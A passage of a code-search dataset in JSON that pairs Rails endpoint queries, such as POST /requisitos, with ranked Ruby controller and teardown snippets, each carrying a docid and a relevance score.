log_debug(\"#{MESSAGE_PREFIX} Starting #{transaction_description}\")\n else\n log_debug(\n \"#{MESSAGE_PREFIX} Discarding #{transaction_description} because it's not included in the random sample (sampling rate = #{sample_rate})\"\n )\n end\n end",
"title": ""
},
{
"docid": "39be6fdad9b4db3b4f9dd94c7cd7a6bb",
"score": "0.4750834",
"text": "def discard_saved_state\n end",
"title": ""
},
{
"docid": "613df9a70e113c9295417485466f8c89",
"score": "0.47507545",
"text": "def teardown\n\t\t\t\t# Do nothing\n\t\tend",
"title": ""
},
{
"docid": "2c63e1771c5cf336828ea2cf0159bbb4",
"score": "0.47472304",
"text": "def remove_pending(*args)\n\n\t\t# Redirect to remove connection since it is an unbiased connection removed and would do this anyway\n\t\tself.send('remove_connection', *args)\n\tend",
"title": ""
},
{
"docid": "19fa329a620b73cfff84ebd7f94bf19c",
"score": "0.47444755",
"text": "def destroy\n @multi_spectral_sample.destroy\n respond_to do |format|\n format.html { redirect_to multi_spectral_samples_url, notice: 'Multi spec sample was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "09f7c2b24dbd9e138b656123dae7abbf",
"score": "0.47416028",
"text": "def remove(uploaded_file, context)\n uploaded_file.delete\n end",
"title": ""
},
{
"docid": "7b72801e6ce28d79604920552a6a8bc8",
"score": "0.47408473",
"text": "def destroy\n final_parent.delete(source.statements)\n\n parent.statements.each do |statement|\n parent.delete_statement(statement) if\n statement.subject == source.rdf_subject || \n statement.object == source.rdf_subject\n end\n\n super { source.clear }\n end",
"title": ""
},
{
"docid": "cb01050a5c6de6c6cc8402e923a0e8ef",
"score": "0.47317",
"text": "def discard\n player.hand.first\n end",
"title": ""
},
{
"docid": "8a96f8f2a2677786e26ad2fdc1d52565",
"score": "0.4730164",
"text": "def cleanup(ticker,env)\r\n ticker.cancel\r\n clear_buffer\r\n\r\n @upload.complete(@received).save\r\n \r\n env.chunked_stream_close\r\n env.logger.info 'received: ' + @received.to_s\r\n env.logger.info 'completed upload: ' + @upload.id.to_s\r\n end",
"title": ""
},
{
"docid": "687befab555d5e044da098389dc64163",
"score": "0.47269046",
"text": "def unsubscribe()\n end",
"title": ""
},
{
"docid": "0ed6c5016f187856e7ae94ee5f77bcac",
"score": "0.472443",
"text": "def destroy\n\n @sample_type = SampleType.find(params[:id])\n\n if !@sample_type.samples.empty?\n flash[:notice] = \"Could not delete sample type definition #{@sample_type.name} because it has samples associated with it.\"\n else\n @sample_type.destroy\n end\n\n respond_to do |format|\n format.html { redirect_to sample_types_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "7c8e87fa8695ea20684af04e6df5ebd5",
"score": "0.47198755",
"text": "def stop_sampling\n {\n method: \"Memory.stopSampling\"\n }\n end",
"title": ""
},
{
"docid": "a3a2ef581576c889c90f5957c2c45b35",
"score": "0.4718534",
"text": "def unsubscribe_from_channel; end",
"title": ""
},
{
"docid": "5deeb415644aa1bbbe7f80212786d7c0",
"score": "0.47158113",
"text": "def produce(game, unit_or_structure)\n # producing a Zerg unit consumes the larva\n game.army.delete(self)\n super\n end",
"title": ""
},
{
"docid": "40ac85ca10f82b7a5501bd149a8ee4fe",
"score": "0.47097698",
"text": "def Omit(scenario)\n scenario.omit = true\n end",
"title": ""
},
{
"docid": "5d5e44eec40d48eeda4cca136c35afd8",
"score": "0.4704498",
"text": "def teardown\n # Empty\n end",
"title": ""
},
{
"docid": "5d5e44eec40d48eeda4cca136c35afd8",
"score": "0.4704498",
"text": "def teardown\n # Empty\n end",
"title": ""
},
{
"docid": "21cef043cd22859e793352380dd4da34",
"score": "0.4702264",
"text": "def delete(uploaded_file, context = {})\n _delete(uploaded_file, context)\n uploaded_file\n end",
"title": ""
},
{
"docid": "9d4b8f9faa2831be6d8079baf010b206",
"score": "0.47004366",
"text": "def discard_transaction\n\t clear_relations\n\tend",
"title": ""
},
{
"docid": "f8d3f68c62233b88f9973a61c529f8ab",
"score": "0.46988007",
"text": "def destroy\n @transferred_event_order.destroy\n end",
"title": ""
},
{
"docid": "e19aadb08a4f57308ab518f844f7cd66",
"score": "0.46983218",
"text": "def destroy\n @patient_sample = PatientSample.find(params[:id])\n @patient_sample.destroy\n\n respond_to do |format|\n format.html { redirect_to patient_samples_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e93db212058348943c5f723238092cc2",
"score": "0.46982425",
"text": "def destroy\n @transaction_source.destroy\n flash[:notice] = \"Transaction source was successfully deleted\"\n redirect_to transaction_sources_url\n end",
"title": ""
},
{
"docid": "2594b897de48ed681a06ea620f8c6ce7",
"score": "0.4689578",
"text": "def report_stolen\n # binding.pry\n self.vhs.sample.destroy\n puts \"THANK YOU FOR YOUR REPORT. WE WILL LAUNCH AN INVESTIGATION.\"\n end",
"title": ""
},
{
"docid": "a4ddd785810b92b6c933387fe2c717fe",
"score": "0.46890453",
"text": "def remove_file\n\n @source_files_id = params[:source] + '_files'\n @source = TaliaCore::Source.find(N::URI.from_encoded(params[:source]))\n\n TaliaFile.find(params[:talia_file_uri]).destroy\n end",
"title": ""
},
{
"docid": "f59ac2498fd3a4b828fdb0d5a4149c49",
"score": "0.46851328",
"text": "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "f59ac2498fd3a4b828fdb0d5a4149c49",
"score": "0.46851328",
"text": "def teardown\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend",
"title": ""
},
{
"docid": "a3573e66bd7714e053d14b4fad2acf10",
"score": "0.46816188",
"text": "def clear_current_transaction!\n Thread.current[:appsignal_transaction] = nil\n end",
"title": ""
}
] |
4378ca49ffc5ea6cd862776d5e73580b
|
POST /requisitos POST /requisitos.json
|
[
{
"docid": "1a99bd2950c8becc91bafa45e25d8a7c",
"score": "0.6885191",
"text": "def create\n @requisito = Requisito.new(requisito_params)\n\n respond_to do |format|\n if @requisito.save\n format.html { redirect_to @requisito, notice: 'Requisito was successfully created.' }\n format.json { render :show, status: :created, location: @requisito }\n else\n format.html { render :new }\n format.json { render json: @requisito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "f4c7346a869a66e0cfea7e323c8a5988",
"score": "0.697717",
"text": "def create\n @requisito = Requisito.new(params[:requisito])\n\n respond_to do |format|\n if @requisito.save\n format.html { redirect_to @requisito, notice: 'Requisito was successfully created.' }\n format.json { render json: @requisito, status: :created, location: @requisito }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requisito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f05b349e6dac76f220259c98bcc9feec",
"score": "0.66214305",
"text": "def crear_requisitos\n dependencias = Dependencia.where(:tipo_documento_id => self.TipoDocumento_id)\n dependencias.each do |d|\n req = Requisito.new(:estado => \"Sin recibir\", :tramite_id => self.id, :TipoRequisito_id => d.tipo_requisito_id)\n self.requisitos << req\n end\n end",
"title": ""
},
{
"docid": "0b7c57f548cfb3f194b3adbddb980589",
"score": "0.6592721",
"text": "def create\n @requisicao = Requisicao.new(requisicao_params)\n\n respond_to do |format|\n if @requisicao.save\n format.html { redirect_to @requisicao, notice: 'Requisicao was successfully created.' }\n format.json { render :show, status: :created, location: @requisicao }\n else\n format.html { render :new }\n format.json { render json: @requisicao.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ccf28955cec4c07690fc9655df219588",
"score": "0.6545071",
"text": "def create\n @frequencium = Frequencium.new(frequencium_params)\n\n respond_to do |format|\n if @frequencium.save\n format.html { redirect_to @frequencium, notice: 'Frequencium was successfully created.' }\n format.json { render :show, status: :created, location: @frequencium }\n else\n format.html { render :new }\n format.json { render json: @frequencium.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "97a026013e753fa0698f1c19a7a0a0c2",
"score": "0.6502133",
"text": "def create\n @frequenciaaluno = Frequenciaaluno.new(frequenciaaluno_params)\n\n respond_to do |format|\n if @frequenciaaluno.save\n format.html { redirect_to @frequenciaaluno, notice: 'Frequenciaaluno was successfully created.' }\n format.json { render :show, status: :created, location: @frequenciaaluno }\n else\n format.html { render :new }\n format.json { render json: @frequenciaaluno.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "21abc73bd1ab8b7a193b80e5be0233cc",
"score": "0.6449666",
"text": "def requisito_params\n params.require(:requisito).permit(:nombre)\n end",
"title": ""
},
{
"docid": "c1e8fe36f26ee19bb2f6fdf801ba762a",
"score": "0.6379668",
"text": "def set_requisito\n @requisito = Requisito.find(params[:id])\n end",
"title": ""
},
{
"docid": "c1e8fe36f26ee19bb2f6fdf801ba762a",
"score": "0.6379668",
"text": "def set_requisito\n @requisito = Requisito.find(params[:id])\n end",
"title": ""
},
{
"docid": "b36f76eb1ad321f47b9a0be6df1f82c9",
"score": "0.6330477",
"text": "def create\n authorize! :create, Dependencia\n @requisito = Requisito.new(requisito_params)\n\n respond_to do |format|\n if @requisito.save\n format.html { redirect_to requisitos_path, notice: '<i class=\"fa fa-check-square fa-lg\"></i> El requisito fue creado exitosamente.' }\n format.json { render :show, status: :created, location: @requisito }\n else\n format.html { render :new }\n format.json { render json: @requisito.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4008856be21432b17d177ca945407459",
"score": "0.627321",
"text": "def requisito_params\n params.require(:requisito).permit(:descripcion)\n end",
"title": ""
},
{
"docid": "c082896dababb9982a32ac586126b142",
"score": "0.6215923",
"text": "def requisitometrologico_params\n params.require(:requisitometrologico).permit(:nome_do_requisito, :valor_do_requisito)\n end",
"title": ""
},
{
"docid": "9bcef1be35102f480993a38d2a912432",
"score": "0.6211191",
"text": "def create\n @requisition = Requisition.new(requisition_params)\n\n respond_to do |format|\n if @requisition.save\n # TODO dependendo da pessoa logada, ou mantém o redirect ou manda ao root\n format.html { redirect_to root_path, notice: \"Solicitação feita com sucesso.\" }\n format.json { render :show, status: :created, location: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fa0f8a22fccc9b68f700bd49cdbda8f3",
"score": "0.61571395",
"text": "def frequencium_params\n params.require(:frequencium).permit(:frequencia, :ativo, :subcategoria_id)\n end",
"title": ""
},
{
"docid": "2098872a9a6f0075d94ba8191c085db7",
"score": "0.6153909",
"text": "def create\n @requisitometrologico = Requisitometrologico.new(requisitometrologico_params)\n\n respond_to do |format|\n if @requisitometrologico.save\n format.html { redirect_to @requisitometrologico, notice: 'Requisitometrologico was successfully created.' }\n format.json { render action: 'new', status: :created, location: @requisitometrologico }\n else\n format.html { render action: 'new' }\n format.json { render json: @requisitometrologico.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8ab9c7b51b2dd9e1e3e737fb830e705",
"score": "0.6120368",
"text": "def requisicao_params\n params.require(:requisicao).permit(:req_agent, :req_encode, :acao_id)\n end",
"title": ""
},
{
"docid": "542ef32806b59ef0464fc1aad7a77c79",
"score": "0.6099061",
"text": "def exame_requisicao_params\n params.require(:exame_requisicao).permit(:proprietario, :nome, :idade, :especie, :raca, :observacoes)\n end",
"title": ""
},
{
"docid": "45382da609852b74dc90c7977e75ba26",
"score": "0.60645443",
"text": "def create\n @requisition = Requisition.new(requisition_params)\n\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to @requisition, notice: 'Requisition was successfully created.' }\n format.json { render :show, status: :created, location: @requisition }\n else\n format.html { render :new }\n format.json { render json: @requisition.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "935666e139c35e6f66e62760fe7c45c9",
"score": "0.6053491",
"text": "def set_requisicao\n @requisicao = Requisicao.find(params[:id])\n end",
"title": ""
},
{
"docid": "3f90b0e0dc94eaf9af600954ab60c89c",
"score": "0.60359275",
"text": "def create\n @requisicao = Requisicao.new(params[:requisicao])\n @funcionario = Funcionario.find(params[:requisicao][:funcionario_id])\n respond_to do |format|\n if @requisicao.save\n format.html { redirect_to(@requisicao, :notice => 'Requisicao cadastrado com sucesso.') }\n format.xml { render :xml => @requisicao, :status => :created, :location => @requisicao }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @requisicao.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5ead11de07b06f700316eaa3dec1bfbe",
"score": "0.59957075",
"text": "def index\n @requisitos = Requisito.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @requisitos }\n end\n end",
"title": ""
},
{
"docid": "870cd9be54ef7ce5ba5d61918eef36d2",
"score": "0.59933186",
"text": "def exame_requisicao_params\n params.require(:exame_requisicao).permit(:proprietario, :nome, :idade, :especie, :raca, :observacoes, :tipo_id, :suspeita_clinica )\n end",
"title": ""
},
{
"docid": "6eb27b762ee5275fb114a5d1d716db53",
"score": "0.5992441",
"text": "def new\n @requisito = Requisito.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @requisito }\n end\n end",
"title": ""
},
{
"docid": "09461242a8debe91a8b3db7de418a341",
"score": "0.5992328",
"text": "def set_requisicao\n @requisicao = Requisicao.find(params[:id])\n\n end",
"title": ""
},
{
"docid": "9b1c552517f9fc51af663a769b349340",
"score": "0.5986813",
"text": "def index\n @requisitos = Requisito.all\n end",
"title": ""
},
{
"docid": "9b1c552517f9fc51af663a769b349340",
"score": "0.5986813",
"text": "def index\n @requisitos = Requisito.all\n end",
"title": ""
},
{
"docid": "e57af3a06803e305a1d2418f741f7ea3",
"score": "0.59825724",
"text": "def conhecimento_requisitado_params\n params.require(:conhecimento_requisitado).permit(:nome_conhecimento, :codigo_servico)\n end",
"title": ""
},
{
"docid": "bd6228d6518764593bf4d3ef9e78f09d",
"score": "0.5937951",
"text": "def create\n @requerim = Requerim.new(params[:requerim])\n\n respond_to do |format|\n if @requerim.save\n format.html { redirect_to @requerim, notice: 'Requerim was successfully created.' }\n format.json { render json: @requerim, status: :created, location: @requerim }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requerim.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa9e721925d0b59999cc9da581fd979b",
"score": "0.5912523",
"text": "def requisition_params\n params.require(:requisition).permit(:number, :create_at, :item, :material, :description, :quantity, :unit, :contact_person, :observations)\n end",
"title": ""
},
{
"docid": "a387ba10e8bfef5d405f876c1d3cfcd3",
"score": "0.5898472",
"text": "def create\n @conhecimento_requisitado = ConhecimentoRequisitado.new(conhecimento_requisitado_params)\n\n respond_to do |format|\n if @conhecimento_requisitado.save\n format.html { redirect_to @conhecimento_requisitado, notice: 'Conhecimento requisitado was successfully created.' }\n format.json { render :show, status: :created, location: @conhecimento_requisitado }\n else\n format.html { render :new }\n format.json { render json: @conhecimento_requisitado.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c743fe7cf5fa2fa60be8907707cb592e",
"score": "0.5897442",
"text": "def requisite_entry_params\n params.require(:requisite_entry).permit(\n :requisite_id\n )\n end",
"title": ""
},
{
"docid": "42f36d81fc72df5021d5f582a6524893",
"score": "0.5867682",
"text": "def requisition_params\n params.fetch(:requisition, {})\n end",
"title": ""
},
{
"docid": "bb101ece5bfe8497fc306a2cd2bfe3a1",
"score": "0.5847504",
"text": "def requisicao_params\n params.require(:requisicao).permit(:numero, :pernoite, :descricao, :numero_passageiros, :requisitante_id, :data_ida, :hora_ida, :periodo, :tipo_requisicao, :periodo_longo, :inicio, :fim, :posto_id, :preferencia_id, :data_volta, :hora_volta, :motivo_id, :tipo_carga, :rota_ids => [], :pessoa_ids => [], endereco_attributes: [:logradouro, :numero, :complemento, :estado_id, :cidade_id, :bairro_id, :cep, :endereco, :latitude, :longitude, :descricao])\n end",
"title": ""
},
{
"docid": "64713f054eaf4a9f3892871c709eac28",
"score": "0.5844246",
"text": "def set_frequenciaaluno\n @frequenciaaluno = Frequenciaaluno.find(params[:id])\n end",
"title": ""
},
{
"docid": "0886d4e715b8c8e6eaf7800b30e3f737",
"score": "0.58311725",
"text": "def index\n @requisicaos = Requisicao.all\n end",
"title": ""
},
{
"docid": "7b4a281e3bd723657cd5115ff234a015",
"score": "0.58102167",
"text": "def create\n @requerimiento = Requerimiento.new(requerimiento_params)\n \n @company = Company.find(1)\n @empleados = @company.get_employees()\n @divisions = @company.get_divisions()\n @requerimiento[:user_id] = getUserId()\n\n respond_to do |format|\n\n @requerimiento[:code] = @requerimiento.generate_rq_number(\"001\")\n \n if @requerimiento.save\n format.html { redirect_to @requerimiento, notice: 'Requerimiento was successfully created.' }\n format.json { render :show, status: :created, location: @requerimiento }\n else\n format.html { render :new }\n format.json { render json: @requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "be3569e8be8b35ce446618bad091f2ba",
"score": "0.5805881",
"text": "def requisition_params\n params.require(:requisition).permit(:requisition_no, :operation_id, :commodity_id, :region_id, :zone_id, :ration_id, :requested_by, :requested_on, :status, :contingency)\n end",
"title": ""
},
{
"docid": "2b81974a635c844fe2b6d3427b3f3df2",
"score": "0.57899964",
"text": "def frequenciaaluno_params\n params.require(:frequenciaaluno).permit(:data, :disciplina_id, presencas_attributes: [:id, :mat_disc_id, :presenca, :_destroy])\n end",
"title": ""
},
{
"docid": "acab57f81b6d31ef96893c7225db42d2",
"score": "0.5771741",
"text": "def set_requisition\n @requisition = Requisition.find( params[:id] )\n end",
"title": ""
},
{
"docid": "f15e48052738a76b5cb0c1a49e8a907a",
"score": "0.5763264",
"text": "def requisition_params\n params.require(:requisition).permit(:material_id, :exercise_id, :quantity, :comment)\n end",
"title": ""
},
{
"docid": "8265d355d56a6f8261a8becef810575e",
"score": "0.57448995",
"text": "def frequencia\n begin\n @frequencia = Frequencia.new(\n frequencia_params[:freq_start],\n frequencia_params[:freq_end],\n Problema\n ).frequencia\n render json: @frequencia\n rescue ArgumentError\n render nothing: true, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "7169533a1f1b40ee97f5c04d1c801530",
"score": "0.5698313",
"text": "def create\n\n @requisition_entry = RequisitionEntry.new(params[:requisition_entry])\n\n if ( ! @requisition_entry.status)\n @requisition_entry.status = STATUSES[0]\n end\n\n respond_to do |format|\n if @requisition_entry.save\n format.html { redirect_to @requisition_entry, notice: 'Solicitud de compra creada exitosamente.' }\n format.json { render json: @requisition_entry, status: :created, location: @requisition_entry }\n else\n format.html { render action: \"new\" }\n format.json { render json: @requisition_entry.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "742ab09c350875dbc2e30a69255d74a8",
"score": "0.5681368",
"text": "def set_requisitometrologico\n @requisitometrologico = Requisitometrologico.find(params[:id])\n end",
"title": ""
},
{
"docid": "faaad4dce0b3ff411421ba5c0fd0b14e",
"score": "0.566539",
"text": "def requisition_params\n params.require(:requisition).permit(:Req_ID, :Req_NO, :Position_title, :priority, :job_category, :OG, :Position_Level, :Location, :Openings, :Account_information, :hiring_mgr, :job_posting_date, \n :approved_in_RMO_or_Not, :RMO_Open_Date, :preferred_onboard_date, :Biz_impact_details, :key_words, :cahnnel, :status, :open_to_candidate, :job_description, :desired_skills_and_experience)\n end",
"title": ""
},
{
"docid": "94784d1cc309854df0916f2e5760190c",
"score": "0.5658817",
"text": "def create\n @requisition = Requisition.new(params[:requisition])\n\n respond_to do |format|\n if @requisition.save\n format.html { redirect_to(@requisition, :notice => 'Requisition was successfully created.') }\n format.xml { render :xml => @requisition, :status => :created, :location => @requisition }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @requisition.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2fc229049d8d7c6dc1a59bb987f837",
"score": "0.56559527",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "901ff90f60e16d61c748a8dedc022663",
"score": "0.56469595",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "901ff90f60e16d61c748a8dedc022663",
"score": "0.56469595",
"text": "def set_requisition\n @requisition = Requisition.find(params[:id])\n end",
"title": ""
},
{
"docid": "36cde660d921b5cc3410f28956d56263",
"score": "0.5606459",
"text": "def index\n @frequencia = Frequencium.all\n end",
"title": ""
},
{
"docid": "ae370c6509b0729a44602d517c98526a",
"score": "0.5529675",
"text": "def pending_postrequisites\n {}\n end",
"title": ""
},
{
"docid": "7c7fabf723dfac3ff57eae38767e1e90",
"score": "0.55276465",
"text": "def create\n @actual_recipe_req = ActualRecipeReq.new(actual_recipe_req_params)\n\n respond_to do |format|\n if @actual_recipe_req.save\n format.html { redirect_to @actual_recipe_req, notice: 'Actual recipe req was successfully created.' }\n format.json { render :show, status: :created, location: @actual_recipe_req }\n else\n format.html { render :new }\n format.json { render json: @actual_recipe_req.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dcf0174f9a3d87552f813bc768915790",
"score": "0.5525564",
"text": "def relatorio_params\n params.require(:relatorio).permit(\n :data_inicial,\n :data_final,\n :status\n )\n end",
"title": ""
},
{
"docid": "c0b144aa59e5799168ad2ef73555e92a",
"score": "0.5516934",
"text": "def requisition_params\n params.require(:requisition).permit(:url)\n end",
"title": ""
},
{
"docid": "56a8cf16a02059a11493a6239108789f",
"score": "0.5492283",
"text": "def create\n @tipo_requerimiento = TipoRequerimiento.new(params[:tipo_requerimiento])\n\n respond_to do |format|\n if @tipo_requerimiento.save\n format.html { redirect_to @tipo_requerimiento, notice: 'Tipo requerimiento was successfully created.' }\n format.json { render json: @tipo_requerimiento, status: :created, location: @tipo_requerimiento }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tipo_requerimiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3b85432784d7bfcb72420f01b1a206d7",
"score": "0.54704267",
"text": "def cadastro_questo_params\n params.require(:cadastro_questo).permit(:enunciado, :titulo, :resposta1, :resposta2, :resposta3, :resposta4, :resposta5, :correta, :disciplina)\n end",
"title": ""
},
{
"docid": "4f6339cafbe4ace2a9496cca102b3df9",
"score": "0.5468451",
"text": "def update_requisitos\n @tramite = Tramite.find(params[:requisito][:id])\n\n requisitos = @tramite.requisitos\n lista = []\n requisitos.each do |r|\n estado = params[:requisito][(\"estado#{r.id.to_s}\").to_sym]\n #Solo se cambia atributos si tienen valor o no son iguales.\n if estado.nil? or estado == r.estado.to_s \n next\n end\n observacion = params[:requisito][(\"observacion#{r.id.to_s}\").to_sym]\n lista << r\n r.update_attribute(:estado, estado)\n if not observacion.blank?\n r.update_attribute(:observacion, observacion)\n end\n end\n\n\n #Se envia correo con requisitos actualizados sobre el tramite.\n # CorreosUsuario.aviso_requisitos(@tramite.usuario, lista, @tramite).deliver\n @req_faltantes = get_faltantes @tramite\n #Si ya no faltan requisitos, se manda un correo y se pone como listo el tramite\n if @req_faltantes == 0 \n # CorreosUsuario.aviso_tramite(@tramite.usuario, @tramite).deliver\n @tramite.update_attribute(:estado, 3)\n elsif @req_faltantes < requisitos.length\n @tramite.update_attribute(:estado, 2)\n end\n\n redirect_to @tramite\n end",
"title": ""
},
{
"docid": "38cb6cde0537dedb1429fa654eeeb8c3",
"score": "0.5463555",
"text": "def create\n @requisition = Requisition.new(params[:requisition])\n\t# project number is set in the session variable\n\t@requisition.project = session[:project]\n\t@requisition.update_by = session[:username]\n\n respond_to do |format|\n if @requisition.save\n flash[:notice] = t 'flash.req_create'\n format.html { redirect_to(@requisition) }\n format.xml { render :xml => @requisition, :status => :created, :location => @requisition }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @requisition.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f49e99fb1fff84d08b9dc8b458fabce4",
"score": "0.5455505",
"text": "def done_params\n params.require(:done).permit(:respostas)\n end",
"title": ""
},
{
"docid": "e310ef716c646582eadb32c8800bd4dd",
"score": "0.54544854",
"text": "def purchase_requisitions_params\n\t params.require(:purchase_requisition).permit(\n\t \t\t:company_id,\n\t \t\t:name, \n\t \t\t:description, \n\t \t\t:unit, \n\t \t\t:unit_price, \n\t \t\t:amount, \n\t \t\t:total_price,\n\t \t\t:requisition_employees,\n\t \t\t:recorder_id,\n\t \t\t:remit_info_id,\n\t \t\t:payment_due_date, \n\t \t\t:payment_term,\n\t \t\t:deposit_price,\n\t \t\t:payment_condition,\n\t \t\tattachments: [],\n\t \t\tremit_infos_attributes: [:name, :bank_name, :bank_code, :branch_bank_code, :account_number]\n\t )\n\t end",
"title": ""
},
{
"docid": "529cc60cb8c225d2cde95cafc9600e5e",
"score": "0.5453457",
"text": "def create\n @item_requisicion = ItemRequisicion.new(params[:item_requisicion])\n\n respond_to do |format|\n if @item_requisicion.save\n format.html { redirect_to(@item_requisicion, :notice => 'Item requisicion was successfully created.') }\n format.xml { render :xml => @item_requisicion, :status => :created, :location => @item_requisicion }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @item_requisicion.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e837ea7810b9ff59e86da9f8863a7a79",
"score": "0.542199",
"text": "def create\n authorize :resquest_criminal, :create?\n @resquest_criminal = ResquestCriminal.new(resquest_criminal_params)\n \n # Nessa linha a requisição atual é setada com o ID do usuário atual\n @resquest_criminal.user_id = current_user.id\n @resquest_criminal.person_name = Person.find(@resquest_criminal.person_id).name\n @resquest_criminal.district_resquest = current_user.district\n respond_to do |format|\n if @resquest_criminal.save\n questions = Question.where(question_default: true, resquest_type_id: @resquest_criminal.resquest_type_id)\n @resquest_criminal.questions << questions\n format.html { redirect_to @resquest_criminal, notice: 'Resquest criminal was successfully created.' }\n format.json { render :show, status: :created, location: @resquest_criminal }\n else\n format.html { render :new }\n format.json { render json: @resquest_criminal.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "db1bc1363b5ca185be486f0be09b298b",
"score": "0.5388046",
"text": "def create\n \n\t@userreq = Userreq.new(params[:userreq])\n@userreq.user_id = current_user.id\n respond_to do |format|\n if @userreq.save\n format.html { redirect_to user_requisition_path(:id=>@userreq.weekbg_id,:week=>'1'), notice: 'Requisition has been successfully created.' }\n format.json { render json: user_requisition_path(:id=>@userreq.id,:week=>'1'), status: :created, location: @userreq }\n else\n format.html { render action: \"new\" }\n format.json { render json: @userreq.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e6ab0d609cc60e554aa059f799897d24",
"score": "0.5377269",
"text": "def evaluacion_params\n params.require(:evaluacion).permit(:resp1, :resp2, :resp3, :resp4, :resp5, :resp6, :resp7, :resp8, :resp9, :resp10, :conclusion, :proyecto_id)\n end",
"title": ""
},
{
"docid": "7b4bfb233a7064ea50e00e3a30f0213d",
"score": "0.53722495",
"text": "def remedio_params\n params.require(:remedio).permit(:nome, :dosagem, :hora, :dias, :data_inicio, :data_fim, :frequencia)\n end",
"title": ""
},
{
"docid": "04030104049437e515bf123d16a57be2",
"score": "0.53634274",
"text": "def transport_requisition_params\n params.require(:transport_requisition).permit(:reference_number, :location_id, :operation_id, :certified_by, :certified_date, :description, :status, :deleted_by, :deleted_at, :bid_id, :tr_id, :transporter_id, :tariff, request_id: [])\n end",
"title": ""
},
{
"docid": "367c58190cae547c8b5002ac828c57a9",
"score": "0.5363197",
"text": "def create\n params.permit(:intitule, :estObligatoire, :estUnique, :ordre, :sondage_id)\n ajout = QuestionChoixService.instance.creerQuestionChoix(params[:intitule], params[:estObligatoire], params[:estUnique], params[:ordre], params[:sondage_id])\n (ajout != nil) ? (render json: ajout, status: :ok) : (render json: nil, status: :not_found)\n end",
"title": ""
},
{
"docid": "9d88db71f2516c573be170cbf5de88bd",
"score": "0.5356372",
"text": "def recetum_params\n params.require(:recetum).permit(:nombre, :preparacion, :ingredientes)\n end",
"title": ""
},
{
"docid": "a318fea357a4f157da49db8a2440f565",
"score": "0.53499424",
"text": "def create\n RestClient.post \"#{@uri}/api/requests\", @data.to_json, :content_type => :json\n end",
"title": ""
},
{
"docid": "f9a8a6ca241d9f9ab8f4b2e1c3bfbcb1",
"score": "0.5315183",
"text": "def create\n @opcion = Opcion.new(params[:opcion])\n\n if @opcion.save\n render json: @opcion, status: :created, location: @opcion\n else\n render json: @opcion.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f27ad15129e34df370df9e32105a8fcd",
"score": "0.5311859",
"text": "def ponto_params\n params.require(:ponto).permit(:id_frequencia, :celula_id, :data, :membro_id)\n end",
"title": ""
},
{
"docid": "78bcc6d86c5de0b6f5307f3e16754e24",
"score": "0.52995783",
"text": "def actual_recipe_req_params\n params.require(:actual_recipe_req).permit(:qty, :surgery_appt_id, :supply_list_id)\n end",
"title": ""
},
{
"docid": "09d615506e43277865611dffbe6e7b27",
"score": "0.52901363",
